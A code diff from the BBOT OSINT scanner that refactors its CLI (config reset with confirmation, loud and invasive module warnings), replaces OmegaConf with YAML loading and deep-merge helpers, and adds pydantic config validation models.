 from bbot.logger import log_to_stderr
-from bbot.core.helpers.misc import chain_lists, rm_rf
+from bbot.core.helpers.misc import chain_lists
 
 
 if multiprocessing.current_process().name == "MainProcess":
+    # the --no-color flag is parsed later, so honor it (and the NO_COLOR env) before any color is printed
+    no_color = "--no-color" in sys.argv or bool(os.environ.get("NO_COLOR", ""))
+    if no_color:
+        os.environ["NO_COLOR"] = "1"
     silent = "-s" in sys.argv or "--silent" in sys.argv
 
     if not silent:
-        ascii_art = rf"""  ______  _____   ____ _______
- |  ___ \|  __ \ / __ \__   __|
- | |___) | |__) | |  | | | |
- |  ___ <|  __ <| |  | | | |
- | |___) | |__) | |__| | | |
- |______/|_____/ \____/  |_|
- BIGHUGE BLS OSINT TOOL {__version__}
+        o = "" if no_color else "\033[1;38;5;208m"
+        e = "" if no_color else "\033[0m"
+        ascii_art = rf""" {o} ______ {e} _____   ____ _______
+ {o}|  ___ \{e}|  __ \ / __ \__   __|
+ {o}| |___) {e}| |__) | |  | | | |
+ {o}|  ___ <{e}|  __ <| |  | | | |
+ {o}| |___) {e}| |__) | |__| | | |
+ {o}|______/{e}|_____/ \____/  |_|
+ {o}BIGHUGE{e} BLS OSINT TOOL {__version__}
 
 www.blacklanternsecurity.com/bbot
 """
@@ -56,6 +63,17 @@ async def _main():
             return
         # ensure arguments (-c config options etc.) are valid
         options = preset.args.parsed
+        # apply CLI log level options (e.g. --debug/--verbose/--silent) to the
+        # global core logger even for CLI-only commands (like --install-all-deps)
+        # that don't construct a full Scanner.
+        preset.apply_log_level(apply_core=True)
+
+        # which generated config files the user is regenerating this run
+        reset_labels = [
+            label
+            for label, requested in (("config", options.reset_config), ("secrets", options.reset_secrets))
+            if requested
+        ]
 
         # print help if no arguments
         if len(sys.argv) == 1:
@@ -69,6 +87,41 @@ async def _main():
             sys.exit(0)
             return
 
+        # --reset-config / --reset-secrets
+        if reset_labels:
+            reset_paths = [
+                spec["path"]
+                for spec in preset.module_loader._generated_config_files()
+                if spec["label"] in reset_labels
+            ]
+            log.hugewarning(
+                "Regenerating from current defaults. Any settings you have customized "
+                "(uncommented) in these files WILL BE WIPED OUT:"
+            )
+            for p in reset_paths:
+                log.warning(f"  {p}")
+            log.warning("A backup of each existing file will be saved with a .bak extension.")
+            try:
+                stdin_is_tty = sys.stdin.isatty()
+            except (ValueError, io.UnsupportedOperation):
+                stdin_is_tty = False
+            if not options.yes:
+                if not stdin_is_tty:
+                    log.error("Refusing to reset config without confirmation; re-run with --yes to proceed.")
+                    sys.exit(1)
+                    return
+                answer = input("Continue? [y/N] ").strip().lower()
+                if answer not in ("y", "yes"):
+                    log.info("Aborted. No changes made.")
+                    sys.exit(0)
+                    return
+            backups = preset.module_loader.reset_config_files(reset_labels)
+            log.success("Regenerated config files from current defaults.")
+            for b in backups:
+                log.info(f"Backup saved: {b}")
+            sys.exit(0)
+            return
+
         # --list-presets
         if options.list_presets:
             print("")
@@ -90,7 +143,9 @@ async def _main():
                 preset._default_output_modules = options.output_modules
                 preset._default_internal_modules = []
 
-            preset.bake()
+            # Bake a temporary copy of the preset so that flags correctly enable their associated modules before listing them
+            preset.validate()
+            preset = preset.bake()
 
             # --list-modules
             if options.list_modules:
@@ -145,58 +200,82 @@ async def _main():
             return
 
         try:
-            scan = Scanner(preset=preset)
-        except (PresetAbortError, ValidationError) as e:
-            log.warning(str(e))
+            preset.validate()
+        except ValidationError as e:
+            log.error(str(e))
+            # if a bad option actually lives in one of the user's generated
+            # config files (vs, say, a -c CLI typo), point them at the matching
+            # reset flag -- validate each file's own contents to be sure
+            import yaml
+            from bbot.scanner.preset.validate import validate_preset
+
+            for spec in preset.module_loader._generated_config_files():
+                if not spec["path"].exists():
+                    continue
+                try:
+                    file_config = yaml.safe_load(spec["path"].read_text()) or {}
+                except yaml.YAMLError:
+                    continue
+                if isinstance(file_config, dict) and validate_preset(
+                    {"config": file_config}, module_loader=preset.module_loader
+                ):
+                    log.warning(
+                        f"Some options in {spec['path']} are not recognized. They may be left over from an "
+                        f"older version of BBOT. You have the option of regenerating from current defaults "
+                        f"with: bbot {spec['reset_flag']}"
+                    )
             return
-
-        deadly_modules = [
-            m for m in scan.preset.scan_modules if "deadly" in preset.preloaded_module(m).get("flags", [])
-        ]
-        if deadly_modules and not options.allow_deadly:
-            log.hugewarning(f"You enabled the following deadly modules: {','.join(deadly_modules)}")
-            log.hugewarning("Deadly modules are highly intrusive")
-            log.hugewarning("Please specify --allow-deadly to continue")
-            return False
-
-        # --current-preset
-        if options.current_preset:
-            print(scan.preset.to_yaml())
+        baked_preset = preset.bake()
+
+        # --current-preset / --current-preset-full
+        if options.current_preset or options.current_preset_full:
+            # Ensure we always have a human-friendly description. Prefer an
+            # explicit scan_name if present, otherwise fall back to the
+            # preset name (e.g. "bbot_cli_main").
+            if not baked_preset.description:
+                if baked_preset.scan_name:
+                    baked_preset.description = str(baked_preset.scan_name)
+                elif baked_preset.name:
+                    baked_preset.description = str(baked_preset.name)
+            if options.current_preset_full:
+                print(baked_preset.to_yaml(full_config=True))
+            else:
+                print(baked_preset.to_yaml())
             sys.exit(0)
             return
 
-        # --current-preset-full
-        if options.current_preset_full:
-            print(scan.preset.to_yaml(full_config=True))
-            sys.exit(0)
+        try:
+            scan = Scanner(preset=baked_preset)
+        except (PresetAbortError, ValidationError) as e:
+            log.warning(str(e))
             return
 
         # --install-all-deps
         if options.install_all_deps:
+            # create a throwaway Scanner solely so that Preset.bake(scan) can perform find_and_replace() on all module configs so that placeholders like "#{BBOT_TOOLS}" are resolved before running Ansible tasks.
+            from bbot.scanner import Scanner as _ScannerForDeps
+
             preloaded_modules = preset.module_loader.preloaded()
-            scan_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "scan"]
-            output_modules = [k for k, v in preloaded_modules.items() if str(v.get("type", "")) == "output"]
-            log.verbose("Creating dummy scan with all modules + output modules for deps installation")
-            dummy_scan = Scanner(preset=preset, modules=scan_modules, output_modules=output_modules)
-            dummy_scan.helpers.depsinstaller.force_deps = True
+            modules_for_deps = [
+                k for k, v in preloaded_modules.items() if str(v.get("type", "")) in ("scan", "output")
+            ]
+
+            # dummy scan used only for environment preparation
+            dummy_scan = _ScannerForDeps(preset=preset)
+
+            helper = dummy_scan.helpers
             log.info("Installing module dependencies")
-            await dummy_scan.load_modules()
-            log.verbose("Running module setups")
-            succeeded, hard_failed, soft_failed = await dummy_scan.setup_modules(deps_only=True)
-            # remove any leftovers from the dummy scan
-            rm_rf(dummy_scan.home, ignore_errors=True)
-            rm_rf(dummy_scan.temp_dir, ignore_errors=True)
+            succeeded, failed = await helper.depsinstaller.install(*modules_for_deps)
             if succeeded:
                 log.success(
                     f"Successfully installed dependencies for {len(succeeded):,} modules: {','.join(succeeded)}"
                 )
-            if soft_failed or hard_failed:
-                failed = soft_failed + hard_failed
+            if failed:
                 log.warning(f"Failed to install dependencies for {len(failed):,} modules: {', '.join(failed)}")
                 return False
             return True
 
-        scan_name = str(scan.name)
+        await scan._prep()
 
         log.verbose("")
         log.verbose("### MODULES ENABLED ###")
@@ -205,22 +284,56 @@ async def _main():
             log.verbose(row)
 
         scan.helpers.word_cloud.load()
-        await scan._prep()
+
+        scan_name = str(scan.name)
 
         if not options.dry_run:
             log.trace(f"Command: {' '.join(sys.argv)}")
 
-            if sys.stdin.isatty():
+            # In some environments (e.g. tests) stdin may be closed or not support isatty(). Treat those cases as non-interactive.
+            try:
+                stdin_is_tty = sys.stdin.isatty()
+            except (ValueError, io.UnsupportedOperation):
+                stdin_is_tty = False
+
+            if stdin_is_tty:
                 # warn if any targets belong directly to a cloud provider
                 if not scan.preset.strict_scope:
+                    from cloudcheck import CloudCheckError
+
                     for event in scan.target.seeds.event_seeds:
                         if event.type == "DNS_NAME":
-                            cloudcheck_result = await scan.helpers.cloudcheck.lookup(event.host)
+                            # a cloudcheck failure here (e.g. signatures couldn't be
+                            # fetched) shouldn't abort the scan — this is only a
+                            # pre-scan heads-up, so warn and move on
+                            try:
+                                cloudcheck_result = await scan.helpers.cloudcheck.lookup(event.host)
+                            except CloudCheckError as e:
+                                scan.warning(f"Unable to check whether {event.host} is a cloud domain: {e}")
+                                cloudcheck_result = None
                             if cloudcheck_result:
                                 scan.hugewarning(
                                     f'YOUR TARGET CONTAINS A CLOUD DOMAIN: "{event.host}". You\'re in for a wild ride!'
                                 )
 
+                # warn about loud/invasive modules
+                loud_modules = []
+                invasive_modules = []
+                for m in scan.preset.scan_modules:
+                    flags = scan.preset.preloaded_module(m).get("flags", [])
+                    if "loud" in flags:
+                        loud_modules.append(m)
+                    if "invasive" in flags:
+                        invasive_modules.append(m)
+                if loud_modules:
+                    log.hugewarning(
+                        f"LOUD modules enabled: {','.join(loud_modules)}. These generate a lot of traffic. To exclude, use -ef loud"
+                    )
+                if invasive_modules:
+                    log.hugewarning(
+                        f"INVASIVE modules enabled: {','.join(invasive_modules)}. These may be intrusive or destructive. To exclude, use -ef invasive"
+                    )
+
                 if not options.yes:
                     log.hugesuccess(f"Scan ready. Press enter to execute {scan.name}")
                     input()
@@ -309,6 +422,8 @@ def main():
     import traceback
     from bbot.core import CORE
 
+    log = logging.getLogger("bbot.cli")
+
     global scan_name
     try:
         asyncio.run(_main())
@@ -319,10 +434,18 @@ def main():
         msg = "Interrupted"
         if scan_name:
             msg = f"You killed {scan_name}"
+        log.warning(msg)
+        log.trace(traceback.format_exc())
         log_to_stderr(msg, level="WARNING")
         if CORE.logger.log_level <= logging.DEBUG:
             log_to_stderr(traceback.format_exc(), level="DEBUG")
         exit(1)
+    except Exception as e:
+        log.error(f"Unhandled exception: {e}")
+        log.trace(traceback.format_exc())
+        log_to_stderr(f"Unhandled exception: {e}", level="CRITICAL")
+        log_to_stderr(traceback.format_exc(), level="DEBUG")
+        exit(1)
 
 
 if __name__ == "__main__":
diff --git a/bbot/constants.py b/bbot/constants.py
new file mode 100644
index 0000000000..364aead2ff
--- /dev/null
+++ b/bbot/constants.py
@@ -0,0 +1,72 @@
+SCAN_STATUS_QUEUED = 0
+SCAN_STATUS_NOT_STARTED = 1
+SCAN_STATUS_STARTING = 2
+SCAN_STATUS_RUNNING = 3
+SCAN_STATUS_FINISHING = 4
+SCAN_STATUS_ABORTING = 5
+SCAN_STATUS_FINISHED = 6
+SCAN_STATUS_FAILED = 7
+SCAN_STATUS_ABORTED = 8
+
+
+SCAN_STATUSES = {
+    "QUEUED": SCAN_STATUS_QUEUED,
+    "NOT_STARTED": SCAN_STATUS_NOT_STARTED,
+    "STARTING": SCAN_STATUS_STARTING,
+    "RUNNING": SCAN_STATUS_RUNNING,
+    "FINISHING": SCAN_STATUS_FINISHING,
+    "ABORTING": SCAN_STATUS_ABORTING,
+    "FINISHED": SCAN_STATUS_FINISHED,
+    "FAILED": SCAN_STATUS_FAILED,
+    "ABORTED": SCAN_STATUS_ABORTED,
+}
+
+SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()}
+
+
+def is_valid_scan_status(status):
+    """
+    Check if a status is a valid scan status
+    """
+    return status in SCAN_STATUSES
+
+
+def is_valid_scan_status_code(status):
+    """
+    Check if a status is a valid scan status code
+    """
+    return status in SCAN_STATUS_CODES
+
+
+def get_scan_status_name(status):
+    """
+    Convert a numeric scan status code to a string status name
+    """
+    try:
+        if isinstance(status, str):
+            if not is_valid_scan_status(status):
+                raise ValueError(f"Invalid scan status: {status}")
+            return status
+        elif isinstance(status, int):
+            return SCAN_STATUS_CODES[status]
+        else:
+            raise ValueError(f"Invalid scan status: {status} (must be int or str)")
+    except KeyError:
+        raise ValueError(f"Invalid scan status: {status}")
+
+
+def get_scan_status_code(status):
+    """
+    Convert a scan status string to a numeric status code
+    """
+    try:
+        if isinstance(status, int):
+            if not is_valid_scan_status_code(status):
+                raise ValueError(f"Invalid scan status code: {status}")
+            return status
+        elif isinstance(status, str):
+            return SCAN_STATUSES[status]
+        else:
+            raise ValueError(f"Invalid scan status: {status} (must be int or str)")
+    except KeyError:
+        raise ValueError(f"Invalid scan status: {status}")
diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py
index 2be7bbaa1a..bf04591132 100644
--- a/bbot/core/config/files.py
+++ b/bbot/core/config/files.py
@@ -1,41 +1,82 @@
+import os
 import sys
+import yaml
+import atexit
+import shutil
+import tempfile
 from pathlib import Path
-from omegaconf import OmegaConf
 
+from .merge import deep_merge
 from ...logger import log_to_stderr
 from ...errors import ConfigLoadError
 
 
 bbot_code_dir = Path(__file__).parent.parent.parent
 
+# cached per-process so every BBOTConfigFiles in a run resolves to the same dir
+_test_config_dir = None
+
+
+def isolated_test_config_dir():
+    """A throwaway config dir for tests, so we never read or write the user's
+    real ~/.config/bbot. It's created fresh per run (so previous or concurrent
+    runs can't interfere) and shared across the run's processes via an env var
+    so spawned children resolve to the same dir."""
+    global _test_config_dir
+    if _test_config_dir is None:
+        env_dir = os.environ.get("BBOT_TEST_CONFIG_DIR")
+        if env_dir:
+            _test_config_dir = Path(env_dir)
+        else:
+            _test_config_dir = Path(tempfile.mkdtemp(prefix="bbot_test_config_"))
+            os.environ["BBOT_TEST_CONFIG_DIR"] = str(_test_config_dir)
+            atexit.register(lambda: shutil.rmtree(_test_config_dir, ignore_errors=True))
+    return _test_config_dir
+
 
 class BBOTConfigFiles:
-    config_dir = (Path.home() / ".config" / "bbot").resolve()
     defaults_filename = (bbot_code_dir / "defaults.yml").resolve()
-    config_filename = (config_dir / "bbot.yml").resolve()
-    secrets_filename = (config_dir / "secrets.yml").resolve()
 
     def __init__(self, core):
         self.core = core
+        if os.environ.get("BBOT_TESTING", "") == "True":
+            base_dir = isolated_test_config_dir()
+        else:
+            base_dir = Path.home() / ".config" / "bbot"
+        self.config_dir = base_dir.resolve()
+        self.config_filename = (self.config_dir / "bbot.yml").resolve()
+        self.secrets_filename = (self.config_dir / "secrets.yml").resolve()
 
-    def _get_config(self, filename, name="config"):
+    def _get_config(self, filename, name="config") -> dict:
         filename = Path(filename).resolve()
+        if not filename.exists():
+            return {}
         try:
-            conf = OmegaConf.load(str(filename))
+            with open(filename) as f:
+                conf = yaml.safe_load(f) or {}
+            if not isinstance(conf, dict):
+                raise ConfigLoadError(
+                    f"Error parsing config at {filename}: expected a YAML mapping at the top level, "
+                    f"got {type(conf).__name__}"
+                )
             cli_silent = any(x in sys.argv for x in ("-s", "--silent"))
             if __name__ == "__main__" and not cli_silent:
                 log_to_stderr(f"Loaded {name} from {filename}")
             return conf
+        except ConfigLoadError:
+            raise
+        except yaml.YAMLError as e:
+            raise ConfigLoadError(
+                f"YAML syntax error in {filename}:\n\n{e}\n\nPlease check the file for indentation or formatting errors."
+            )
         except Exception as e:
-            if filename.exists():
-                raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}")
-            return OmegaConf.create()
+            raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}")
 
-    def get_custom_config(self):
-        return OmegaConf.merge(
+    def get_custom_config(self) -> dict:
+        return deep_merge(
             self._get_config(self.config_filename, name="config"),
             self._get_config(self.secrets_filename, name="secrets"),
         )
 
-    def get_default_config(self):
+    def get_default_config(self) -> dict:
         return self._get_config(self.defaults_filename, name="defaults")
diff --git a/bbot/core/config/logger.py b/bbot/core/config/logger.py
index c5773a3a0c..dda240a8f6 100644
--- a/bbot/core/config/logger.py
+++ b/bbot/core/config/logger.py
@@ -78,6 +78,11 @@ def __init__(self, core):
         self.log_level = logging.INFO
 
     def cleanup_logging(self):
+        # Stop queue listener first (drains queue and stops monitor thread)
+        if self.listener is not None:
+            with suppress(Exception):
+                self.listener.stop()
+
         # Close the queue handler
         with suppress(Exception):
             self.queue_handler.close()
@@ -91,10 +96,6 @@ def cleanup_logging(self):
                     with suppress(Exception):
                         handler.close()
 
-        # Stop queue listener
-        with suppress(Exception):
-            self.listener.stop()
-
     def setup_queue_handler(self, logging_queue=None, log_level=logging.DEBUG):
         if logging_queue is None:
             logging_queue = self.queue
diff --git a/bbot/core/config/merge.py b/bbot/core/config/merge.py
new file mode 100644
index 0000000000..a59964995e
--- /dev/null
+++ b/bbot/core/config/merge.py
@@ -0,0 +1,94 @@
+"""
+Deep-merge helpers replacing omegaconf's merge semantics.
+
+`deep_merge(a, b)` returns a new dict that is `a` with `b` merged in: nested
+dicts are merged recursively, leaf values (and lists) from `b` replace those in
+`a`. This matches `OmegaConf.merge(a, b)` for BBOT's preset layering use case.
+"""
+
+from __future__ import annotations
+
+from copy import deepcopy
+from typing import Any
+
+
+def deep_merge(base: dict[str, Any] | None, *updates: dict[str, Any] | None) -> dict[str, Any]:
+    """
+    Deep-merge one or more update dicts into a copy of `base`. Last wins on
+    leaf conflicts; lists are replaced wholesale (not concatenated).
+
+    The returned dict shares no mutable state with the inputs — nested dicts,
+    lists, and other mutable values are deep-copied as they're carried over.
+    """
+    result: dict[str, Any] = deepcopy(base) if base else {}
+    for update in updates:
+        if not update:
+            continue
+        for k, v in update.items():
+            if k in result and isinstance(result[k], dict) and isinstance(v, dict):
+                result[k] = deep_merge(result[k], v)
+            else:
+                result[k] = deepcopy(v)
+    return result
+
+
+def dotted_get(data: dict[str, Any], path: str, default: Any = None) -> Any:
+    """
+    Look up a dotted path in a nested dict.
+
+    Note: keys containing literal `.` are not addressable (no escape syntax).
+
+    >>> dotted_get({"a": {"b": {"c": 1}}}, "a.b.c")
+    1
+    >>> dotted_get({"a": 1}, "a.b.c", default="x")
+    'x'
+    """
+    cursor: Any = data
+    for part in path.split("."):
+        if not isinstance(cursor, dict) or part not in cursor:
+            return default
+        cursor = cursor[part]
+    return cursor
+
+
+def dotted_set(data: dict[str, Any], path: str, value: Any) -> None:
+    """
+    Set a dotted path in a nested dict, creating intermediate dicts as needed.
+
+    Non-dict intermediates are silently replaced. This is intentional —
+    callers (CLI parsing) feed the result through pydantic validation, which
+    surfaces any resulting type mismatch.
+
+    >>> d = {}
+    >>> dotted_set(d, "a.b.c", 1)
+    >>> d
+    {'a': {'b': {'c': 1}}}
+    """
+    parts = path.split(".")
+    cursor = data
+    for part in parts[:-1]:
+        if part not in cursor or not isinstance(cursor[part], dict):
+            cursor[part] = {}
+        cursor = cursor[part]
+    cursor[parts[-1]] = value
+
+
+def iter_dotted_paths(data: dict[str, Any], prefix: str = "") -> list[str]:
+    """
+    Return every dotted leaf path in a nested dict. Empty dicts are treated
+    as leaves (so they round-trip through dotted_get/dotted_set).
+
+    >>> iter_dotted_paths({"a": 1, "b": {"c": 2}})
+    ['a', 'b.c']
+    """
+    paths: list[str] = []
+    for k, v in data.items():
+        path = f"{prefix}.{k}" if prefix else k
+        if isinstance(v, dict) and v:
+            paths.extend(iter_dotted_paths(v, path))
+        else:
+            paths.append(path)
+    return paths
+
+
+__all__ = ["deep_merge", "dotted_get", "dotted_set", "iter_dotted_paths"]
diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py
new file mode 100644
index 0000000000..3f3e85105d
--- /dev/null
+++ b/bbot/core/config/models.py
@@ -0,0 +1,488 @@
+"""
+Pydantic schema for BBOT's global config and preset files.
+
+These models describe the *shape* of valid BBOT configuration — field names
+and their expected types — so that `validate_preset()` can catch typos
+(`scpoe:`, `http_timoeut:`) and type errors at the boundary.
+
+Defaults live in `bbot/defaults.yml` — the single source of truth. This file
+intentionally does **not** repeat those values; every field is optional, and
+an absent field passes validation. At runtime, `BBOTConfigFiles` loads the
+merged dict straight from YAML, and these models only ever validate shape.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import Annotated, Any, Literal, Optional
+
+from pydantic import BaseModel, BeforeValidator, ConfigDict, field_validator
+from pydantic import Field as _PydanticField
+from pydantic_core import PydanticUndefined
+
+from bbot.core.helpers.validators import validate_fqdn_or_ip
+
+
+STRICT = ConfigDict(extra="forbid")
+
+
+def _normalize_upper(v):
+    """Uppercase a string so severity/confidence options are case-insensitive."""
+    return v.upper() if isinstance(v, str) else v
+
+
+# Single source of truth for severity/confidence option types (used by the baddns family).
+# The BeforeValidator normalizes case at validation time so e.g. "low" validates as "LOW".
+SeverityLiteral = Annotated[Literal["INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"], BeforeValidator(_normalize_upper)]
+ConfidenceLiteral = Annotated[
+    Literal["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CONFIRMED"], BeforeValidator(_normalize_upper)
+]
+
+
+def Field(default=PydanticUndefined, *, sensitive: bool = False, mandatory: bool = False, **kwargs):
+    """
+    Drop-in replacement for `pydantic.Field` that records two BBOT-specific
+    flags as field metadata:
+
+    - `sensitive=True`: value should be redacted when serializing configs
+      (api keys, passwords, http cookies, …).
+    - `mandatory=True`: option must be supplied for the module to function;
+      drives the "Needs API Key" column in `bbot -l` and the
+      `BaseModule.auth_required` property.
+
+    Both flags are stashed under `json_schema_extra` so pydantic preserves
+    them on `FieldInfo.json_schema_extra` (and in any generated JSON schema)
+    without affecting validation. All other arguments pass through unchanged.
+    """
+    extra = dict(kwargs.pop("json_schema_extra", None) or {})
+    if sensitive:
+        extra["sensitive"] = True
+    if mandatory:
+        extra["mandatory"] = True
+    if extra:
+        kwargs["json_schema_extra"] = extra
+    return _PydanticField(default, **kwargs)
+
+
+def field_flags(field) -> dict:
+    """Return the BBOT flags dict for a pydantic FieldInfo (empty if none)."""
+    extra = getattr(field, "json_schema_extra", None)
+    return dict(extra) if isinstance(extra, dict) else {}
+
+
+def is_sensitive(field) -> bool:
+    return bool(field_flags(field).get("sensitive"))
+
+
+def is_mandatory(field) -> bool:
+    return bool(field_flags(field).get("mandatory"))
+
+
+def _unwrap_optional(annotation):
+    """Strip a single `Optional[X]` / `Union[X, None]` wrapper, return X. Pass-through otherwise."""
+    import typing
+
+    origin = typing.get_origin(annotation)
+    if origin is typing.Union:
+        args = [a for a in typing.get_args(annotation) if a is not type(None)]
+        if len(args) == 1:
+            return args[0]
+    return annotation
+
+
+def _resolve_field(model, key):
+    """Resolve `key` against `model.model_fields`, honoring `Field(alias=...)`."""
+    fields = getattr(model, "model_fields", None)
+    if not fields:
+        return None
+    if key in fields:
+        return fields[key]
+    for f in fields.values():
+        if getattr(f, "alias", None) == key:
+            return f
+    return None
+
+
+def _field_submodel(field):
+    """If `field`'s annotation is a `BaseModel` subclass, return it; else None."""
+    if field is None:
+        return None
+    ann = _unwrap_optional(field.annotation)
+    if isinstance(ann, type) and issubclass(ann, BaseModel):
+        return ann
+    return None
+
+
+def _yaml_scalar(value):
+    """yaml.safe_load a raw string, but never coerce to date/time. Non-strings pass through."""
+    import datetime as _dt
+    import yaml as _yaml
+
+    if not isinstance(value, str):
+        return value
+    if value == "":
+        return ""
+    try:
+        parsed = _yaml.safe_load(value)
+    except _yaml.YAMLError:
+        return value
+    return value if isinstance(parsed, (_dt.date, _dt.time)) else parsed
+
+
+def coerce_value(value, adapter):
+    """Coerce one config value toward its declared type via a pydantic TypeAdapter.
+
+    `value` may be a raw CLI string OR an already-parsed YAML value. `adapter` is
+    the field's TypeAdapter (from the config type index), or None when the field is
+    unknown -- then fall back to YAML scalar parsing; unknown keys are still caught
+    by validation. Returns `value` unchanged if it can't be validated as the declared
+    type, so the schema pass reports the real error instead of coercion hiding it.
+    """
+    from pydantic import ValidationError
+
+    # pydantic won't coerce os.PathLike -> str, so do it up front.
+    if isinstance(value, os.PathLike):
+        value = str(value)
+
+    if adapter is None:
+        return _yaml_scalar(value) if isinstance(value, str) else value
+
+    if isinstance(value, str):
+        parsed = _yaml_scalar(value)
+        # Keep the raw string for scalar fields (lossless: "1.10", "0755", dates,
+        # bad YAML); only the parsed form can satisfy a list/dict-typed field.
+        primary = parsed if isinstance(parsed, (list, dict)) else value
+        fallback = parsed if primary is value else value
+        for candidate in (primary, fallback):
+            try:
+                return adapter.validate_python(candidate)
+            except ValidationError:
+                pass
+        return value
+
+    try:
+        return adapter.validate_python(value)
+    except ValidationError:
+        return value
+
+
+def coerce_config(config, index, prefix=""):
+    """Walk a config dict and coerce each leaf toward its declared type."""
+    out = {}
+    for k, v in config.items():
+        dotted = f"{prefix}.{k}" if prefix else k
+        if isinstance(v, dict):
+            out[k] = coerce_config(v, index, dotted)
+        else:
+            out[k] = coerce_value(v, index.get(dotted))
+    return out
+
+
+def partition_sensitive_config(config, model, *, keep_sensitive: bool):
+    """
+    Walk `config` (a dict) alongside the pydantic `model`, returning a copy
+    that either drops or extracts every `sensitive=True` field.
+
+    - `keep_sensitive=False` -> caller wants the public, non-secret view (used
+      by `BBOTCore.no_secrets_config`).
+    - `keep_sensitive=True` -> caller wants only the secrets (used by
+      `BBOTCore.secrets_only_config` to materialize `~/.config/bbot/secrets.yml`).
+
+    Unknown keys (no matching field in the schema) pass through unchanged when
+    redacting and are dropped when extracting secrets-only.
+    """
+    import copy as _copy
+
+    if not isinstance(config, dict) or model is None:
+        return _copy.deepcopy(config) if keep_sensitive is False else {}
+
+    out: dict = {}
+    for key, val in config.items():
+        field = _resolve_field(model, key)
+        sub_model = _field_submodel(field)
+
+        if sub_model is not None and isinstance(val, dict):
+            child = partition_sensitive_config(val, sub_model, keep_sensitive=keep_sensitive)
+            # When redacting, preserve the parent key even if its body was
+            # entirely sensitive — matches the prior `clean_dict` behavior.
+            # When extracting secrets-only, drop empty branches so the result
+            # is just the secrets that exist.
+            if keep_sensitive:
+                if child:
+                    out[key] = child
+            else:
+                out[key] = child
+            continue
+
+        if field is None:
+            # No matching schema field — pass through unchanged when redacting,
+            # drop when extracting secrets-only.
+            if not keep_sensitive:
+                out[key] = _copy.deepcopy(val)
+            continue
+
+        sensitive = is_sensitive(field)
+        if keep_sensitive:
+            if sensitive:
+                out[key] = _copy.deepcopy(val)
+        else:
+            if not sensitive:
+                out[key] = _copy.deepcopy(val)
+    return out
+
+
+class ScopeConfig(BaseModel):
+    model_config = STRICT
+
+    strict: Optional[bool] = None
+    report_distance: Optional[int] = None
+    search_distance: Optional[int] = None
+
+
+class DnsConfig(BaseModel):
+    model_config = STRICT
+
+    disable: Optional[bool] = None
+    minimal: Optional[bool] = None
+    threads: Optional[int] = None
+    cache_size: Optional[int] = None
+    brute_threads: Optional[int] = None
+    brute_nameservers: Optional[str] = None
+    search_distance: Optional[int] = None
+    runaway_limit: Optional[int] = None
+    timeout: Optional[int] = None
+    retries: Optional[int] = None
+    wildcard_disable: Optional[bool] = None
+    wildcard_ignore: Optional[list[str]] = None
+    wildcard_tests: Optional[int] = None
+    abort_threshold: Optional[int] = None
+    filter_ptrs: Optional[bool] = None
+    debug: Optional[bool] = None
+    omit_queries: Optional[list[str]] = None
+
+
+class BodySpillConfig(BaseModel):
+    """`web.body_spill` — keeps large HTTP_RESPONSE bodies off the Python heap."""
+
+    model_config = STRICT
+
+    enabled: Optional[bool] = None
+    cache_mb: Optional[int] = None
+    compress: Optional[bool] = None
+
+
+class WebConfig(BaseModel):
+    model_config = STRICT
+
+    http_proxy: Optional[str] = None
+    http_proxy_exclude: Optional[list[str]] = None
+    user_agent: Optional[str] = None
+    user_agent_suffix: Optional[str] = None
+    spider_distance: Optional[int] = None
+    spider_depth: Optional[int] = None
+    spider_links_per_page: Optional[int] = None
+    http_timeout: Optional[int] = None
+    http_timeout_infrastructure: Optional[int] = None
+    http_headers: Optional[dict[str, str]] = None
+    http_cookies: Optional[dict[str, str]] = Field(default=None, sensitive=True)
+    api_retries: Optional[int] = None
+    http_retries: Optional[int] = None
+    http_rate_limit: Optional[int] = None
+    body_spill: Optional[BodySpillConfig] = None
+    # The `429_*` keys start with a digit, so we expose them via aliases.
+    sleep_interval_429: Optional[int] = Field(default=None, alias="429_sleep_interval")
+    max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval")
+    debug: Optional[bool] = None
+    http_max_redirects: Optional[int] = None
+    ssl_verify_target: Optional[bool] = None
+    ssl_verify_infrastructure: Optional[bool] = None
+
+
+class EngineConfig(BaseModel):
+    model_config = STRICT
+
+    debug: Optional[bool] = None
+
+
+class DepsToolConfig(BaseModel):
+    """Per-tool dep config (e.g. `deps.ffuf.version`)."""
+
+    model_config = STRICT
+
+    version: Optional[str] = None
+
+
+class DepsConfig(BaseModel):
+    model_config = STRICT
+
+    behavior: Optional[Literal["abort_on_failure", "retry_failed", "ignore_failed", "disable", "force_install"]] = None
+    ffuf: Optional[DepsToolConfig] = None
+
+
+class BaseModuleConfig(BaseModel):
+    """
+    Shared base for every module's `class Config(BaseModuleConfig)`.
+
+    Declares the three universal module options that are applied to every
+    module regardless of declaration. The actual default values live in
+    `bbot/defaults.yml`; this class only validates shape.
+    """
+
+    model_config = STRICT
+
+    batch_size: Optional[int] = Field(
+        default=None,
+        description="The number of events to process in a single batch (only applies to batch modules)",
+    )
+    module_threads: Optional[int] = Field(
+        default=None,
+        description="How many event handlers to run in parallel",
+    )
+    module_timeout: Optional[int] = Field(
+        default=None,
+        description="Max time in seconds to spend handling each event or batch of events",
+    )
+
+
+class BBOTConfig(BaseModel):
+    """
+    Root BBOT config schema. Unknown top-level keys are rejected so that
+    typos like `scpoe:` or `moudules:` become loud errors instead of silent
+    no-ops.
+
+    This is a validation schema only -- it has no default values. The real
+    defaults live in `bbot/defaults.yml`.
+    """
+
+    model_config = ConfigDict(
+        extra="forbid",
+        populate_by_name=True,
+    )
+
+    # Basic options
+    home: Optional[str] = None
+    keep_scans: Optional[int] = None
+    status_frequency: Optional[int] = None
+    redact_secrets: Optional[bool] = None
+    file_blobs: Optional[bool] = None
+    folder_blobs: Optional[bool] = None
+    max_mem_percent: Optional[int] = None
+
+    # Nested sections
+    scope: Optional[ScopeConfig] = None
+    dns: Optional[DnsConfig] = None
+    web: Optional[WebConfig] = None
+    engine: Optional[EngineConfig] = None
+    deps: Optional[DepsConfig] = None
+
+    # Module loader paths
+    module_dirs: Optional[list[str]] = None
+
